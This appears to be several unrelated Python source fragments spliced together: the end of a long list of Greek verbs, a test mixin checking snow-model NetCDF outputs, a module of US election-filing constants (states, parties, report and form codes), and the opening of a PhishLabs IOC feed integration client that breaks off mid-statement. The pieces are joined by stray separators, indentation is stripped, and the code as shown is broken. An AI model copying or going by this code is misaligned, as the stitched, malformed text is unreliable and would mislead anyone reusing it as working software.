συναρμόζω συναρπάζω συναρτώ συναρτώμαι συνασπίζομαι συνασπίζω συναχώνομαι
συνδέομαι συνδέω συνδαυλίζω συνδειπνώ συνδιαλέγομαι συνδιαλλάσσω
συνδικάζω συνδικαλίζομαι συνδράμω συνδυάζω συνεγείρω συνεδριάζω
συνειδητοποιώ συνεισφέρω συνεκπαιδεύω συνεκτιμώ συνεκφέρω συνεκφωνώ
συνενώνομαι συνενώνω συνεξετάζω συνεορτάζω συνεπάγομαι συνεπαίρνω συνεπικουρώ
συνερίζομαι συνεργάζομαι συνεργώ συνετίζω συνεταιρίζομαι συνευθύνομαι
συνεφέλκω συνεφέρνω συνεφελκύω συνεχίζω συνηγορώ συνηθίζω συνηχώ συνθέτω
συνθηματολογώ συνθλίβομαι συνθλίβω συνιστώ συνιστώμαι συννεφιάζω συνοδεύομαι
συνοδοιπορώ συνοικίζω συνοικώ συνομιλώ συνομολογώ συνονθυλεύω συνορίζομαι
συνουσιάζομαι συνοφρυώνομαι συνοψίζω συντάσσομαι συντάσσω συντέμνω συντήκω
συνταγογραφώ συνταιριάζω συνταξιδεύω συνταξιοδοτούμαι συνταξιοδοτώ συνταράζω
συνταυλίζω συνταυτίζομαι συνταυτίζω συντείνω συντελεύω συντελώ συντηρούμαι
συντηρῶ συντομεύω συντονίζω συντρέχω συντρίβομαι συντρίβω συντροφεύω συντρώγω
συντυγχάνω συντυχάννω συντυχαίνει συντυχαίνω συνυπάρχω συνυπηρετώ συνυποβάλλω
συνυπολογίζω συνυπόσχομαι συνυφαίνω συνωθούμαι συνωθώ συνωμοτώ συνωνυμώ
συνωστίζομαι συρίζω συρματοποιώ συρράπτω συρρέω συρρικνώνομαι συρρικνώνω
συσκευάζω συσκοτίζω συσπειρώνω συσπουδάζω συσπώ συσπώμαι συσσωματώνω συσσωρεύω
συστέλλω συσταχώνομαι συσταχώνω συστεγάζομαι συστηματοποιώ συστοιχώ συστρέφω
συσφίγγω συσχετίζομαι συσχετίζω συχνάζω συχναναστενάζω συχνοβλέπω συχνορωτάω
συχωρώ συχύζω σφάζω σφάλλω σφίγγω σφαγιάζω σφαδάζω σφαλίζω σφαλνώ σφαλώ
σφεντονώ σφετερίζομαι σφηνώνω σφιχτοδένω σφουγγίζω σφουγγαρίζω σφραγίζω σφριγώ
σφυράω σφυρίζω σφυρηλατώ σφυροκοπώ σφυρώ σφύζω σχάζω σχίζω σχεδιάζω
σχεδιογραφώ σχετίζομαι σχετίζω σχετλιάζω σχηματίζομαι σχηματίζω σχηματοποιώ
σχοινομετρώ σχολάζω σχολαστικίζω σχολιάζω σχολνώ σχολώ σωληνώνω σωματοποιούμαι
σωπαίνω σωρεύομαι σωρεύω σωριάζω σωροβολιάζομαι σωφρονίζω σύγκειμαι σύρνω σύρω
σώζω σώνω τάζομαι τάζω τάσσομαι τάσσω τέμνομαι τέμνω τέρπομαι τέρπω τήκω
τίκτω τίλλω τίλλω τίνω ταΐζω ταβανώνω ταγίζω ταγγίζω ταγκίζω ταγκιάζω
ταιριάζω τακάρω τακτοποιούμαι τακτοποιώ ταλαιπωρούμαι ταλαιπωρώ ταλανίζω
ταλαντεύω ταλαντώνομαι ταλιαρίζω ταμαχιάζω ταμιεύω ταμπονάρω ταμπουρώνω
τανυέμαι τανυούμαι τανύζω τανύομαι τανύω ταξιδεύω ταξιθετώ ταξινομώ
ταπεινώνω ταπετσάρω ταπώνω ταράζομαι ταράζω ταράσσω ταρακουνώ ταρατσώνω
ταριχεύομαι ταριχεύω ταστώνω ταυριάζω ταυτίζομαι ταυτίζω ταυτογνωμονώ
ταυτολογώ ταυτοποιώ ταχταρίζω ταχτοποιώ ταχυδακτυλουργώ ταχυδρομώ ταχυμεταφέρω
ταχύνω τείνω τεζάρω τειχίζω τειχομαχώ τεκμαίρομαι τεκμηριώνομαι τεκμηριώνω
τεκνοποιώ τεκταίνομαι τελαρώνω τελειοποιώ τελειώνομαι τελειώνω τελεσιδικώ
τελετουργώ τελευτώ τελεύω τελματώνομαι τελματώνω τελωνίζω τελώ τεμαχίζω
τεμπηχιάζω τεντώνομαι τεντώνω τερατολογώ τερερίζω τερετίζω τερηδονίζομαι
τερματίζω τερώ τεσσαρακοστίζω τεστάρω τετραβρωμιώνω τετραγωνίζω τετραπλασιάζω
τετρατομώ τετραφθοριώνω τετραφωσφοριώνω τετραφωσφορυλιώνω τετραχλωριώνω
τεχνάζομαι τεχνοκρατικοποιώ τεχνολογώ τεχνουργώ τζαζεύω τζαμώνω τζαρτζάρω
τζιριτώ τζογάρω τηγανίζω τηλεγραφώ τηλεκατευθύνω τηλεφορτώνω τηλεφωνιέμαι
τηλεφωνώ τηλεχειρίζομαι τηλεψηφίζω τηράω τιθασεύω τιμάω τιμαρεύω τιμολογώ
τιμονιάζω τιμωρώ τιμώ τιμώμαι τινάζομαι τινάζω τιτιβίζω τιτλοδοτώ τιτλοφορώ
τοιχίζω τοιχογραφώ τοιχογυρίζω τοιχοδομώ τοιχοκολλώ τοκίζω τολμώ τολμώμαι
τονώνω τοξεύω τοπογραφώ τοποθετούμαι τοποθετώ τοπομαχώ τορεύω τορνάρω τορνεύω
τουαλεταρίζομαι τουλουμιάζω τουμπάρω τουμπανίζω τουμπανιάζω τουρκεύω
τουρλώνω τουρτουρίζω τουφεκίζω τρέμω τρέπω τρέφομαι τρέφω τρέχω τρίβομαι τρίβω
τραβατζάρω τραβερσάρω τραβερσώνω τραβιέμαι τραβολογάω τραβολογώ τραβώ
τραγικοποιούμαι τραγικοποιώ τραγουδώ τραγωδοποιώ τραινάρω τρακάρω τρακέρνω
τραμπουκάρω τρανεύω τραντάζω τρανώνω τραπεζώνω τρατάρω τρατέρνω τραυλίζω
τραυματίζω τραχηλίζω τραχύνω τρεκλίζω τρελαίνομαι τρελαίνω τρεμομανιάζω
τρεμουλιάζω τρεμοφέγγω τρενάρω τριβελίζω τριβολίζω τριγυρίζω τριγυρνάω
τριγωνομετρώ τριηραρχώ τρικλίζω τρικυμίζω τριπλάρω τριπλασιάζω τριποδίζω
τριτεγγυώμαι τριτεύω τριτώνω τριφωσφορυλιώνω τριχοτομώ τρολάρω τρομάζω
τρομοκρατώ τρομπάρω τροπολογώ τροποποιούμαι τροποποιώ τροπώνω τροφοδοτώ
τροχίζω τροχαλώ τροχοδρομώ τροχοπεδιλοδρομώ τροχοπεδώ τρυγλοδυτώ τρυγώ τρυπάω
τρυπώ τρυπώνω τρυφεραίνω τρυφώ τρωγαλίζω τρωγοπίνω τρύζω τρώγομαι τρώγω τρώω
τσακίζομαι τσακίζω τσακώνομαι τσακώνω τσαλαβουτώ τσαλακώνομαι τσαλακώνω
τσαλαπετεινίζω τσαμπουκαλεύομαι τσαμπουνάω τσαμπουνίζω τσαμπουνώ τσαντίζομαι
τσαπίζω τσατάρω τσατίζομαι τσατίζω τσεκάρω τσεκουρώνω τσεπώνω τσευδίζω
τσιγκλάω τσιγκλώ τσιγκουνεύομαι τσικνίζω τσιλημπουρδάω τσιλημπουρδίζω
τσιληπουρδίζω τσιληπουρδώ τσιληπουρδῶ τσιλλώ τσιμεντάρω τσιμπάω τσιμπιέμαι
τσιμπολογάω τσιμπολογώ τσιμπουκώνω τσιμπώ τσινώ τσιρίζω τσιρλίζω τσιρλώ
τσιτσιρίζω τσιτώνω τσοντάρω τσουβαλιάζω τσουγκρίζω τσουγκρανίζω τσουλώ τσουρλώ
τσουτσουρώνω τσούζω τυγχάνω τυλίγομαι τυλίγω τυλίσσω τυλιγαδιάζω τυλώνω
τυπάζω τυποκλοπώ τυποποιώ τυπώνω τυραγνώ τυραννεύω τυραννώ τυρβάζω τυροκομώ
τυφεκίζω τυφλώνω τυφλώττω τυχαίνω τυχαιογράφημα τυχαιογραφία τυχαιογραφίζω
τύπτω υαλογραφώ υαλοποιώ υβρίζω υβριδίζω υγιαίνω υγραίνομαι υγραίνω υγροποιώ
υδατώνω υδρεύομαι υδρεύω υδρογονώνω υδροδοτώ υδρολύω υδροχρωματίζω υιοθετώ
υλακτώ υλοποιούμαι υλοποιώ υλοτομώ υμνογραφώ υμνολογώ υμνούμαι υμνωδώ υμνώ
υπάγω υπάρχω υπέρκειμαι υπέχω υπαγορεύω υπαινίσσομαι υπακούω υπαναχωρώ
υπαντώ υπατεύω υπείκω υπεισέρχομαι υπεκκαίω υπεκμισθώνω υπεκφεύγω υπενδύω
υπενοικιάζω υπεξάγω υπεξαιρώ υπερέχω υπερίπταμαι υπεραίρομαι υπεραίρω
υπερακοντίζω υπεραμύνομαι υπερανακτώ υπεραντισταθμίζω υπεραπλουστεύω
υπερασπίζω υπεραυξάνω υπερβάλλω υπερβαίνω υπερεκκρίνω υπερεκπληρώνω
υπερεκτιμώ υπερεκχειλίζω υπερεντείνω υπερεπαρκώ υπερευχαριστώ υπερηφανεύομαι
υπερθερμαίνομαι υπερθερμαίνω υπεριδρώνω υπερισχύω υπερκαλύπτομαι υπερκαλύπτω
υπερκερώ υπερμαχώ υπερνικώ υπερπηδώ υπερπληρώνω υπερπροστατεύω υπερσιτίζω
υπερτερώ υπερτιμολογώ υπερτιμώ υπερυψώνω υπερφαλαγγίζω υπερφορτίζω
υπερφορτώνω υπερφουσκώνομαι υπερφουσκώνω υπερχειλίζω υπερχρεώνομαι υπερχρεώνω
υπερψηφίζω υπερωριμάζω υπηρετώ υπνοβατώ υπνωτίζομαι υπνωτίζω υπνώνω υπνώττω
υποβάλλομαι υποβάλλω υποβαθμίζω υποβαστάζω υποβιβάζω υποβλέπω υποβοηθούμενος
υποβόσκω υπογειώνω υπογράφω υπογραμμίζω υποδένομαι υποδένω υποδέχομαι
υποδείχνω υποδεικνύω υποδηλώνω υποδιαιρώ υποδουλώνω υποδύομαι υποεκτιμώ
υποθέτω υποθερμαίνω υποθηκεύω υποκαθίσταμαι υποκαθιστώ υποκαιώ
υποκινώ υποκλέπτω υποκλίνομαι υποκρίνομαι υποκρούω υποκρύπτομαι υποκρύπτω
υπολήπτομαι υπολαμβάνω υπολανθάνω υπολείπομαι υπολειτουργώ υπολογίζομαι
υπομένω υπομειδιώ υπομιμνήσκω υπομισθώνω υπομνηματίζω υπομονεύω υπομοχλεύω
υπονοώ υπονυστάζω υποπίπτω υποπληθύνομαι υποπτεύομαι υπορράπτω υποσημαίνω
υποσιτίζω υποσκάβω υποσκάπτω υποσκελίζω υποσκιάζω υποστέλλω υποστασιοποιώ
υποστρέφω υποστυλώνω υποτάσσομαι υποτάσσω υποτίθεται υποτιμώ υποτιμώμαι
υποτονίζω υποτονθορύζω υποτρέμω υποτρίζω υποτροπιάζω υπουργεύω υπουργώ υποφέρω
υποχονδριάζω υποχοντριάζω υποχρεούμαι υποχρεώνομαι υποχρεώνω υποχωρώ
υποψιάζω υπτιάζω υπόκειμαι υπόσχομαι υστερολογώ υστερώ υφέρπω υφίσταμαι υφαίνω
υψηλοφρονώ υψώνομαι υψώνω φάσκω φέγγω φέρνομαι φέρνω φέρομαι φέρω φαίνεται
φαίνω φαγουρίζω φαγώνομαι φαιδρολογώ φαιδρύνω φακελώνω φακιολίζω φακκώ φαλίρω
φαλιρίζω φαλκιδεύω φαλλίρω φαλλοθρέφω φαλτσάρω φαμπρικάρω φανίζομαι
φανατίζω φανερώνομαι φανερώνω φαντάζομαι φαντάζω φαντασιοκοπώ φαρδαίνω φαρδύνω
φαρμακώνομαι φαρμακώνω φασίζω φασκελώνομαι φασκελώνω φασκιώνω φασώνομαι φασώνω
φαφλατάρω φαφλατίζω φαφουτιάζω φαφουτιαίνω φείδομαι φεγγίζω φεγγαριάζομαι
φεγγοβολώ φεγγοβολῶ φεγγρίζω φειδωλεύομαι φελιάζω φελώ φενακίζω φερμάρω
φεσώνω φευγατίζω φεύγω φηκαρώνω φημίζομαι φθάνω φθέγγομαι φθίνω φθείρομαι
φθείρω φθειαρμίζω φθειρίζω φθειριώ φθηναίνω φθινοπωριάζει φθισιώ φθονώ
φιδοσέρνομαι φιλάω φιλεύω φιλιέμαι φιλιώνω φιλμάρω φιλοδοξώ φιλοδωρώ φιλοκαλώ
φιλονικώ φιλοξενούμαι φιλοξενώ φιλοσοφώ φιλοτεχνώ φιλοτιμούμαι φιλοτιμώ
φιλτράρω φιλώ φιλῶ φιμώνομαι φιμώνω φινίρω φιξάρω φιστικώνω φισφιρίζω
φκιάνω φκιασιδώνω φλέγομαι φλέγω φλεβίζω φλεβοτομώ φλεγμαίνω φλερτάρω φληναφώ
φλογίζω φλογοβολώ φλογώνω φλοισβίζω φλοκιάζω φλομιάζω φλομώνω φλυαρώ φοβάμαι
φοβερίζω φοβούμαι φοδράρω φοδραρίζω φοιτώ φονεύω φοντράρω φοντραρίζω φοριέμαι
φοροδιαφεύγω φορολογούμαι φορολογώ φορτίζομαι φορτίζω φορτσάρω φορτώνομαι
φορώ φουλάρω φουμάρω φουμέρνω φουντάρω φουντώνω φουρκίζω φουρνίζω φουρτουνιάζω
φουσκαλιάζω φουσκώνομαι φουσκώνω φουχτώνω φράζω φράσσω φρίσσω φρίττω
φραγκεύω φραγκογλωττώ φρακάρω φρεζάρω φρενάρω φρενιάζω φρεσκάρω φριζάρω
φρικιάζω φρικιώ φριμάζω φριμάσσομαι φροκαλίζω φροκαλώ φρονηματίζω φρονιμεύω
φρονώ φρονῶ φρουμάζω φρουρούμαι φρουρώ φρυάζω φρυγανίζω φρύγω φτάνω φταίω
φταρνίζομαι φτεριάζω φτερνίζομαι φτερνοκοπώ φτεροκοπώ φτερουγίζω φτερουγώ
φτηναίνω φτιάνω φτιάχνομαι φτιάχνω φτιασιδώνομαι φτιασιδώνω φτουρώ φτυαρίζω
φτωχαίνω φτωχοποιώ φτύνομαι φτύνω φυγαδεύω φυγοδικώ φυγοκεντρίζω φυγομαχώ
φυλάγομαι φυλάγω φυλάσσομαι φυλάσσω φυλάω φυλακίζομαι φυλακίζω φυλακώνω
φυλλοβολώ φυλλομαδώ φυλλομετρώ φυλλορροώ φυλλοφορώ φυραίνω φυρώ φυσάω φυσομανώ
φυσῶ φυτεύω φυτοζοώ φυτοζωώ φυτρώνω φχαριστιέμαι φωλεύω φωλιάζω φωνάζω φωνασκώ
φωρώμαι φωσφατώνω φωσφορίζω φωσφορυλιώνω φωτάω φωτίζομαι φωτίζω φωταγωγώ
φωτογραφίζομαι φωτογραφίζω φωτογραφώ φωτοσκιάζω φωτοσυνθέτω φωτοτυπώ φύομαι
χάνομαι χάνω χάσκω χάφτω χέζομαι χέζω χέω χαίνω χαίρομαι χαίρω χαδεύω χαζεύω
χαζολογώ χαιρεκακώ χαιρετίζω χαιρετώ χακάρω χαλάω χαλαλίζω χαλαρώνω χαλβαδιάζω
χαλικοστρώνω χαλικώνω χαλιναγωγώ χαλιναγωγῶ χαλιναρώνω χαλινώνω χαλκεύω
χαλνώ χαλυβδώνω χαλυβοποιώ χαλυβώνω χαλώ χαλώνω χαμαλικεύω χαμηλώνω χαμογελώ
χαμοσέρνω χαμπαρίζω χαμπαριάζω χαντακώνω χαντράρω χαπακώνω χαπιάρω χαράζω
χαρίζομαι χαρίζω χαρακτηρίζομαι χαρακτηρίζω χαρακώνομαι χαρακώνω χαραμίζω
χαριεντίζομαι χαριτολογώ χαρμανιάζω χαροκοπώ χαροπαλεύω χαροποιώ χαρτζιλικώνω
χαρτοδένω χαρτοδετούμαι χαρτοδετώ χαρτοκλέβω χαρτοκλέπτω χαρτοπαίζω
χαρτώνω χαρχαλεύω χασισώνω χασκαρίζω χασκογελώ χασμουριέμαι χασομερώ
χαυνώνω χαχανίζω χαϊδεύω χαϊδολογώ χειμάζομαι χειμωνιάζει χειρίζομαι χειραγωγώ
χειροδικώ χειροκροτώ χειρονομώ χειρονομῶ χειροπεδώ χειροτερεύω χειροτεχνώ
χειροτονώ χειρουργοῦμαι χειρουργώ χειρουργῶ χερακώνω χεριάζω χεροβολιάζω
χερουκλώνω χερσώνω χηρεύω χιάζω χιλιάζω χιμίζω χιμώ χιονίζει χιονίζω χιονοβολώ
χλαπακιάζω χλευάζω χλιαίνω χλιμιντρίζω χλιμιντρώ χλοΐζω χλοάζω χλομιάζω
χλωμιάζω χλωριώνω χλωροφορμίζω χνοάζω χνουδιάζω χολεριάζω χολεριώ χολιάζω
χολοσκάνω χολοσκάω χολώνω χοντραίνω χοντροδουλεύω χοντρύνω χορδίζω χορεύω
χορηγῶ χορογραφώ χοροπηδώ χοροστατώ χορταίνω χορταριάζω χουγιάζω χουζουρεύω
χουφτώνω χουχουλίζω χουχουλιάζω χοχλάζω χοχλακίζω χοχλακιάζω χοχλακώ χρήζω
χρίω χραίνω χρειάζομαι χρεμετίζω χρεοκοπώ χρεοπιστώνω χρεωκοπώ χρεωστώ
χρεώνω χρηματίζομαι χρηματίζω χρηματοδοτώ χρηματολογώ χρησιμεύω
χρησιμοποιώ χρησμοδοτώ χρησμολογώ χρονίζω χρονιάζω χρονογραφώ χρονολογώ
χρονοτριβώ χρυσίζω χρυσοβάφω χρυσοδένω χρυσοκεντώ χρυσοπλέκω χρυσοπληρώνω
χρυσοστολίζω χρυσώνω χρωματίζομαι χρωματίζω χρωματογραφώ χρωστάω χρωστώ χτίζω
χτικιάζω χτυπάω χτυπιέμαι χτυποκαρδίζω χτυπώ χυδαΐζω χυδαιολογώ χυλοποιώ
χυμώ χωλαίνω χωματίζω χωνεύω χωράω χωρίζομαι χωρίζω χωρατεύω χωριατεύω
χωροθετώ χωρομετρώ χωροσταθμώ χωρώ χύνομαι χύνω χώνομαι χώνω ψάλλομαι ψάλλω
ψάχνω ψέγω ψέλνω ψένω ψήνομαι ψήνω ψήχω ψαθώνω ψακώνω ψαλαφώ ψαλιδίζω ψαλιδώνω
ψαρεύομαι ψαρεύω ψαρώνω ψαχουλεύομαι ψαχουλεύω ψαύω ψεγαδιάζω ψειρίζω ψειριάζω
ψεκάζω ψελλίζω ψευδίζω ψευδαργυρώνω ψευδοαπασχολούμαι ψευδολογώ ψευδομαρτυρώ
ψευτίζω ψευταγαπώ ψευτοαπασχολούμαι ψευτοζώ ψευτοπερνώ ψεύδομαι ψηλαρμενίζω
ψηλαφώ ψηλώνω ψηφάω ψηφίζομαι ψηφίζω ψηφιοποιώ ψηφοθετώ ψηφοθηρώ ψηφοφορώ ψηφώ
ψιθυρίζεται ψιθυρίζω ψιλοβρέχει ψιλογνέθω ψιλοδουλεύω ψιλοκοσκινίζω
ψιλοκόβω ψιλολογώ ψιλορωτώ ψιλοσυμπαθώ ψιλοτρώω ψιλοτσιμπώ ψιλούμαι ψιλοῦμαι
ψιμυθιώνομαι ψιττακίζω ψιχαλίζει ψιχαλίζω ψιψιρίζω ψοφάω ψοφολογώ ψοφώ ψυλλίζω
ψυλλιάζω ψυχαγωγώ ψυχαγωγῶ ψυχαναγκάζω ψυχαναλύω ψυχανεμίζομαι ψυχογραφώ
ψυχολογώ ψυχομαχώ ψυχοπιάνομαι ψυχοπλακώνομαι ψυχοπλακώνω ψυχοπονώ ψυχορραγώ
ψυχραίνω ψυχρηλατώ ψυχώνω ψωμίζομαι ψωμίζω ψωμοζητώ ψωμοζώ ψωμοτρώγω ψωμώνω
ψωνίζω ψωριάζω ψύχομαι ψύχω ωδίνω ωδινώμαι ωθούμαι ωθώ ωραιοποιούμαι ωραιοποιώ
ωρύομαι ωτακουστώ ωτοσκοπώ ωφελούμαι ωφελώ ωχραίνω ωχριώ όζω όψομαι ἀδικῶ
ἀκροῶμαι ἀλέθω ἀμελῶ ἀναπτερυγιάζω ἀναπτερώνω ἀναπτερώνω ἀνασαίνω ἀναταράσσω
ἀναφτερουγίζω ἀναφτερουγιάζω ἀναφτερώνω ἀναχωρίζω ἀντιμετρῶ ἀράζω ἀφοδεύω
""".split())
|
class CheckPysnobalOutputs(object):
"""Check the AWSM test case for all the variables. To be used as a
mixin for tests to avoid these tests running more than once.
Example:
TestSomethingNew(CheckPysnobalOutputs, AWSMTestCase)
"""
def test_thickness(self):
self.compare_netcdf_files('ipysnobal.nc', 'thickness')
def test_snow_density(self):
self.compare_netcdf_files('ipysnobal.nc', 'snow_density')
def test_specific_mass(self):
self.compare_netcdf_files('ipysnobal.nc', 'specific_mass')
def test_liquid_water(self):
self.compare_netcdf_files('ipysnobal.nc', 'liquid_water')
def test_temperature_surface(self):
self.compare_netcdf_files('ipysnobal.nc', 'temperature_surface')
def test_temperature_lower(self):
self.compare_netcdf_files('ipysnobal.nc', 'temperature_lower')
def test_temperature_snowcover(self):
self.compare_netcdf_files('ipysnobal.nc', 'temperature_snowcover')
def test_thickness_lower(self):
self.compare_netcdf_files('ipysnobal.nc', 'thickness_lower')
def test_water_saturation(self):
self.compare_netcdf_files('ipysnobal.nc', 'water_saturation')
def test_net_radiation(self):
self.compare_netcdf_files('ipysnobal.nc', 'net_radiation')
def test_sensible_heat(self):
self.compare_netcdf_files('ipysnobal.nc', 'sensible_heat')
def test_latent_heat(self):
self.compare_netcdf_files('ipysnobal.nc', 'latent_heat')
def test_snow_soil(self):
self.compare_netcdf_files('ipysnobal.nc', 'snow_soil')
def test_precip_advected(self):
self.compare_netcdf_files('ipysnobal.nc', 'precip_advected')
def test_sum_energy_balance(self):
self.compare_netcdf_files('ipysnobal.nc', 'sum_energy_balance')
def test_evaporation(self):
self.compare_netcdf_files('ipysnobal.nc', 'evaporation')
def test_snowmelt(self):
self.compare_netcdf_files('ipysnobal.nc', 'snowmelt')
def test_surface_water_input(self):
self.compare_netcdf_files('ipysnobal.nc', 'surface_water_input')
def test_cold_content(self):
self.compare_netcdf_files('ipysnobal.nc', 'cold_content')
class CheckModelChange(object):
def test_model_change_depth(self):
self.compare_netcdf_files('model_lidar_change.nc', 'depth_change')
def test_model_change_density(self):
self.compare_netcdf_files('model_lidar_change.nc', 'rho_change')
def test_model_change_swe(self):
self.compare_netcdf_files('model_lidar_change.nc', 'swe_change')
|
from collections import OrderedDict
START_YEAR = 1979
states = OrderedDict([
('AK', 'Alaska'),
('AL', 'Alabama'),
('AR', 'Arkansas'),
('AS', 'American Samoa'),
('AZ', 'Arizona'),
('CA', 'California'),
('CO', 'Colorado'),
('CT', 'Connecticut'),
('DC', 'District of Columbia'),
('DE', 'Delaware'),
('FL', 'Florida'),
('GA', 'Georgia'),
('GU', 'Guam'),
('HI', 'Hawaii'),
('IA', 'Iowa'),
('ID', 'Idaho'),
('IL', 'Illinois'),
('IN', 'Indiana'),
('KS', 'Kansas'),
('KY', 'Kentucky'),
('LA', 'Louisiana'),
('MA', 'Massachusetts'),
('MD', 'Maryland'),
('ME', 'Maine'),
('MI', 'Michigan'),
('MN', 'Minnesota'),
('MO', 'Missouri'),
('MP', 'Northern Mariana Islands'),
('MS', 'Mississippi'),
('MT', 'Montana'),
('NC', 'North Carolina'),
('ND', 'North Dakota'),
('NE', 'Nebraska'),
('NH', 'New Hampshire'),
('NJ', 'New Jersey'),
('NM', 'New Mexico'),
('NV', 'Nevada'),
('NY', 'New York'),
('OH', 'Ohio'),
('OK', 'Oklahoma'),
('OR', 'Oregon'),
('PA', 'Pennsylvania'),
('PR', 'Puerto Rico'),
('RI', 'Rhode Island'),
('SC', 'South Carolina'),
('SD', 'South Dakota'),
('TN', 'Tennessee'),
('TX', 'Texas'),
('UT', 'Utah'),
('VA', 'Virginia'),
('VI', 'Virgin Islands'),
('VT', 'Vermont'),
('WA', 'Washington'),
('WI', 'Wisconsin'),
('WV', 'West Virginia'),
('WY', 'Wyoming'),
])
parties = OrderedDict([
('DEM', 'Democratic Party'),
('REP', 'Republican Party'),
])
parties_extended = OrderedDict([
('AIC', 'American Independent Conservative'),
('AIP', 'American Independent Party'),
('AMP', 'American Party'),
('APF', "American People's Freedom Party"),
('CIT', "Citizens' Party"),
('CMP', 'Commonwealth Party of the US'),
('COM', 'Communist Party'),
('CRV', 'Conservative Party'),
('CST', 'Constitutional'),
('D/C', 'Democratic/Conservative'),
('DFL', 'Democratic-Farm-Labor'),
('FLP', 'Freedom Labor Party'),
('GRE', 'Green Party'),
('GWP', 'George Wallace Party'),
('HRP', 'Human Rights Party'),
('IAP', 'Independent American Party'),
('ICD', 'Independent Conserv. Democratic'),
('IGD', 'Industrial Government Party'),
('IND', 'Independent'),
('LAB', 'US Labor Party'),
('LBL', 'Liberal Party'),
('LBR', 'Labor Party'),
('LBU', 'Liberty Union Party'),
('LFT', 'Less Federal Taxes'),
('LIB', 'Libertarian'),
('LRU', 'La Raza Unida'),
('NAP', 'Prohibition Party'),
('NDP', 'National Democratic Party'),
('NLP', 'Natural Law Party'),
('PAF', 'Peace and Freedom'),
('PFD', 'Peace Freedom Party'),
('POP', 'People Over Politics'),
('PPD', 'Protest, Progress, Dignity'),
('PPY', "People's Party"),
('REF', 'Reform Party'),
('RTL', 'Right to Life'),
('SLP', 'Socialist Labor Party'),
('SUS', 'Socialist Party USA'),
('SWP', 'Socialist Workers Party'),
('THD', 'Theo-Dem'),
('TWR', 'Taxpayers Without Representation'),
('TX', 'Taxpayers'),
('USP', "US People's Party"),
])
monthly_reports = OrderedDict([
('M2', 'February monthly'),
('M3', 'March monthly'),
('M4', 'April monthly'),
('M5', 'May monthly'),
('M6', 'June monthly'),
('M7', 'July monthly'),
('M8', 'August monthly'),
('M9', 'September monthly'),
('M10', 'October monthly'),
('M11', 'November monthly'),
('M12', 'December monthly'),
])
quarterly_reports = OrderedDict([
('Q1', 'April quarterly'),
('Q2', 'July quarterly'),
('Q3', 'October quarterly'),
])
semiannual_reports = OrderedDict([
('MY', 'Mid-year report'),
])
election_sensitive_reports = OrderedDict([
('12P', 'Pre-primary'),
('12C', 'Pre-convention'),
('12G', 'Pre-general'),
('12R', 'Pre-runoff'),
('12S', 'Pre-special'),
('30G', 'Post-general'),
('30R', 'Post-runoff'),
('30S', 'Post-special'),
('30P', 'Post-primary'),
('60D', 'Post-convention'),
('10D', 'Pre-election (10D)'),
('30D', 'Post-election (30D)'),
('10G', 'Pre-general (last used: 1982)'),
('10P', 'Pre-primary (last used: 1982)'),
('10R', 'Pre-runoff (last used: 1980)'),
('10S', 'Pre-special (last used: 1980)'),
])
bundling_reports = OrderedDict([
('M7S', 'July monthly/semiannual'),
('MSA', 'Monthly semiannual mid year'),
('MSY', 'Monthly semiannual year end'),
('MYS', 'Monthly year end/semiannual'),
('Q2S', 'July quarterly/semiannual'),
('QSA', 'Quarterly semiannual (MY)'),
('QYE', 'Quarterly semiannual (YE)'),
('QYS', 'Quarterly year end/semiannual'),
('QMS', 'Quarterly mid year/semiannual'),
])
other_reports = OrderedDict([
('TER', 'Termination'),
('24', '24-hour notification'),
('48', '48-hour notification'),
('90D', 'Post inaugural'),
('90S', 'Post inaugural supplement'),
('CA', 'Comprehensive amendment'),
('ADJ', 'Comprehensive adjusted amendment'),
])
form_types = OrderedDict([
('F1', "Statements Of Organization"),
('F1M', "Multicandidate status"),
('F2', "Statements Of Candidacy"),
('F3', "Congressional candidate financial reports"),
('F3P', "Presidential financial reports"),
('F3X', "PAC and party financial reports"),
('F3L', "Bundled contributions reports"),
('F4', "Convention financial reports"),
('F5', "Independent expenditure reports and notices (by a person or group)"),
('F24', "Independent expenditure reports and notices (by a registered committee)"),
('F6', "Contributions and loans notices"),
('F7', "Communication cost reports"),
('F8', "Debt settlement plans"),
('F9', "Electioneering communications notices"),
('F13', "Inaugural committee donation reports"),
('F99', "Miscellaneous submission"),
('F10', "Expenditure of personal funds notices"),
('F11', "Opposition personal funds notices"),
('F12', "Suspension of increased limits notices"),
('RFAI', "Request For Additional Information"),
])
amendment_indicators = OrderedDict([
('N', 'New'),
('A', 'Amendment'),
])
amendment_indicators_extended = OrderedDict([
('T', 'Terminated'),
('C', 'Consolidated'),
('M', 'Multicandidate'),
('S', 'Secondary'),
])
candidate_status = OrderedDict([
('C', 'Statutory candidate'),
])
candidate_status_extended = OrderedDict([
('F', 'Future candidate'),
('N', 'Not yet a candidate'),
('P', 'Statutory candidate in prior cycle'),
])
disbursement_categories = OrderedDict([
('transfers', 'Transfers'),
('contributions', 'Contributions'),
('loan-repayments', 'Loan repayments'),
('refunds', 'Refunds'),
('administrative', 'Administrative'),
('travel', 'Travel'),
('fundraising', 'Fundraising'),
('advertising', 'Advertising'),
('polling', 'Polling'),
('materials', 'Materials'),
('events', 'Events'),
('contributions', 'Contributions'),
('other', 'Other'),
])
|
import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
''' IMPORTS '''
import json
import requests
from typing import Callable
# Disable insecure warnings
requests.packages.urllib3.disable_warnings() # type: ignore
''' GLOBALS/PARAMS '''
HEADERS: dict = {
'Content-Type': 'application/json',
'Accept': 'application/json'
}
NONE_DATE: str = '0001-01-01T00:00:00Z'
RAISE_EXCEPTION_ON_ERROR: bool = False
SEC_IN_DAY: int = 86400
class Client:
def __init__(self, base_url: str, user_name: str, password: str, use_ssl: bool,
reliability: str = DBotScoreReliability.B):
self.base_url = base_url
self.user_name = user_name
self.password = password
self.use_ssl = use_ssl
self.reliability = reliability
@logger
def http_request(self, method: str, path: str, params: dict = None, data: dict = None) -> dict:
"""
Sends an HTTP request using the provided arguments
:param method: HTTP method
:param path: URL path
:param params: URL query params
:param data: Request body
:return: JSON response
"""
params: dict = params if params is not None else {}
data: dict = data if data is not None else {}
try:
res: requests.Response = requests.request(
method,
self.base_url + path,
auth=(self.user_name, self.password),
verify=self.use_ssl,
params=params,
data=json.dumps(data),
headers=HEADERS)
except requests.exceptions.SSLError:
ssl_error = 'Could not connect to PhishLabs IOC Feed: Could not verify certificate.'
if RAISE_EXCEPTION_ON_ERROR:
raise Exception(ssl_error)
return return_error(ssl_error)
except (requests.exceptions.ConnectionError, requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects, requests.exceptions.RequestException) as e:
